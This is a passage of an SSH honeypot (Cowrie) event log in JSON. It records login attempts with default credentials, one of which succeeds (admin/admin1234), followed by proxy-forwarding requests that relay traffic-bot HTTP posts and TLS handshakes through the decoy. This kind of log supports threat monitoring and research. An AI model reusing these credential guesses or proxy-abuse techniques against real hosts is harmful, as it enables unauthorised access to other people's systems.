2FaoFB797hx2xgnd%2FFnIkaE5ck%2BRfjZcLLv2h%2F34zepadA%2BvaDi5wpqv7sNE8VDtnmpG%2B8iG0RL40rGiWFtC438e7K8oyZ6jCGGnJ%2B22WZfT4xB4FPG2wy7SH4mGKI5RKjDhHaWXs1HmYkNhreYhASW%2FrJcEEC5SLgVsmPgNcAPCr0NuP8mjRNtmLa%2B0Ky5eCLYhOpjzcmsQfxu8P3B9GnGArsgxD8pBHdr0AVujWR%2BBF8nxr7BfYT6hfZFOQ%2FkyfYoZtl8084%2B26WM%2FNIB%2B%2B1v6hydYu4PPN2vKcYIs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; Redmi K20Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=clo8RD5XQmFkXyR3UT5UWg%3D%3DMZKppOvZvgeIV0Zpz%2BXQPWUUqYqg9Ebw5BTKWu6mHJ6homShpCaOYEnttJZB0FlmPDBhMMeSWcmnd3CWA9m8Ckn1kUmrt6nR6cEVvgqmdctRuOE4GQz1joADmvEXxoLcAj9Dhwl7tC4ltGUIhLYmLzB2uVnb7jRRqJaYSV6LVIoIzMtYOhaoV945V6%2BqBDsY3V%2FYigCP6B9HQJPXCLKDNE9Zgegk0m71fPrC0qq9bCAjWmV2jxcPJGE7ZtD%2BXEjLrmOezUh4xz4Ob2eHZZ2j0XOSZYQ2Sx08nOAW4lJn7gAZVJJozFsSgYndMDO%2Bg6%2FEBU0X%2BjTgU%2F7g5a92In%2FCMLOdoVI%2FO7Z2FL3eJryVcrpnbRRnJ60ZuvfnqRFV%2BtxFcjEd%2B%2BYbXuDVaZ1NbzqibiLwYj7QP3EInxxkGDpQVihncgy3QbWBFKa2poSewmpjN4ttyFMkD%2BOHb%2BPdOFmOB9Ombm5p4QWfJBY%2B%2FAJ%2FQm9qR%2B%2FVKqZh%2FH7wu1Qrw3U7bKUlZKXPXGu0X48MkleLXDmH%2BppI1KTWxX0puYC7WQegPno1okXg7AQE1uBRcElXkcyp%2FyM%2FtJUvucTeMlcA7b9RORLUMQ2rCUC1vi%2F2j3yL%2BSi3EcXww%2ByeYHkR0P0jWgpIXGhm4L6dR7wFUyxzw5FeqlZQ9ahb%2Bb6Gs%2FTZcIPsmPR7AYeZXYpBcDcjCcgJsPf33%2BnwxrqFcA4uLIExb3ajS%2F7Uno6etnuq4UTud0E7ydKypEHEk6UHH1CQLDj%2F3E%2BV%2FaoFB797hx2xgnd%2FFnIkaE5ck%2BRfjZcLLv2h%2F34zepadA%2BvaDi5wpqv7sNE8VDtnmpG%2B8iG0RL40rGiWFtC438e7K8oyZ6jCGGnJ%2B22WZfT4xB4FPG2wy7SH4mGKI5RKjDhHaWXs1HmYkNhreYhASW%2FrJcEEC5SLgVsmPgNcAPCr0NuP8mjRNtmLa%2B0Ky5eCLYhOpjzcmsQfxu8P3B9GnGArsgxD8pBHdr0AVujWR%2BBF8nxr7BfYT6hfZFOQ%2FkyfYoZtl8084%2B26WM%2FNIB%2B%2B1v6hydYu4PPN2vKcYIs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:29.114867Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:29.119004Z","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:29.405063Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82\\x90V\\x1d\\xef8r(\\xe9r\\x8a\\xab\\xd2\\xed\\xd2P\\x8c\\x91\\x87\\xd9\\xa1'a|\\\\\\xb8\\x91\\x12\\xe8\\x1a\\x82X \\x16w\\x877>\\xb1\\xd1\\xfaI!\\x0c\\xc9-\\x86\\xa8\\x1aD\\xfa\\xabOn\\xf2\\xa5\\x1cg\\xce\\xda\\x84feq\\x8a\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 DR'\\x1d{\\xc0\\xbf\\x10\\xa6\\x07j\\x1d\\xcd\\xe4\\x08\\xcb|\\xdf\\xc3d\\xa5w<@C.\\xe7\\xec|V\\xe8\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82\\x90V\\x1d\\xef8r(\\xe9r\\x8a\\xab\\xd2\\xed\\xd2P\\x8c\\x91\\x87\\xd9\\xa1'a|\\\\\\xb8\\x91\\x12\\xe8\\x1a\\x82X \\x16w\\x877>\\xb1\\xd1\\xfaI!\\x0c\\xc9-\\x86\\xa8\\x1aD\\xfa\\xabOn\\xf2\\xa5\\x1cg\\xce\\xda\\x84feq\\x8a\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 DR'\\x1d{\\xc0\\xbf\\x10\\xa6\\x07j\\x1d\\xcd\\xe4\\x08\\xcb|\\xdf\\xc3d\\xa5w<@C.\\xe7\\xec|V\\xe8\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:29.408512Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:29.691466Z","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:29.972400Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa4\\xb1!$l\\xce\\x93\\x0f\\x89R2\\xd8d\\xf4\\xe5y\\xff<\\xd1\\xd4:\\xf5U\\xc9\\x82\\x01\\xef\\xe9H#\\xdc \\xbc\\xd5c\\xa6\\xc2bi\\xaa\\x1f\\r\\xb3\\xdf\\xe5\\x90\\x04\\x10D\\x8cm\\xfe\\x9c\\xb7Q\\x07\\x97\\xbb\\xc2\"\\xac\\xd6\\xf2\\xfe\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xfc\\xd8\\x04x?\\xe8,!\\x99\\x9a\\xb6[Q\\xb4|_\\'\\xfco\\xae\\xc7`\\x97\\x13\\xbb\\x90\\x1b\\xa4\\xb6\\xd9?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa4\\xb1!$l\\xce\\x93\\x0f\\x89R2\\xd8d\\xf4\\xe5y\\xff<\\xd1\\xd4:\\xf5U\\xc9\\x82\\x01\\xef\\xe9H#\\xdc \\xbc\\xd5c\\xa6\\xc2bi\\xaa\\x1f\\r\\xb3\\xdf\\xe5\\x90\\x04\\x10D\\x8cm\\xfe\\x9c\\xb7Q\\x07\\x97\\xbb\\xc2\"\\xac\\xd6\\xf2\\xfe\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xfc\\xd8\\x04x?\\xe8,!\\x99\\x9a\\xb6[Q\\xb4|_\\'\\xfco\\xae\\xc7`\\x97\\x13\\xbb\\x90\\x1b\\xa4\\xb6\\xd9?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:29.976107Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:30.022129Z","src_ip":"91.92.40.36","session":"65cedaf10b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:30.030272Z","src_ip":"91.92.40.36","session":"65cedaf10b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:30.386066Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"4321","message":"login attempt [mysql/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:35.129330Z","src_ip":"91.92.40.36","session":"65cedaf10b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":50797,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e2b3133fee2","protocol":"ssh","message":"New connection: 113.164.152.20:50797 (10.17.0.5:22) [session: 7e2b3133fee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:35.597175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:35.602954Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:35.884696Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:36.697426Z","src_ip":"91.92.40.36","session":"65cedaf10b59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:37.033844Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:37.858698Z","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:37.966380Z","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:38.138088Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
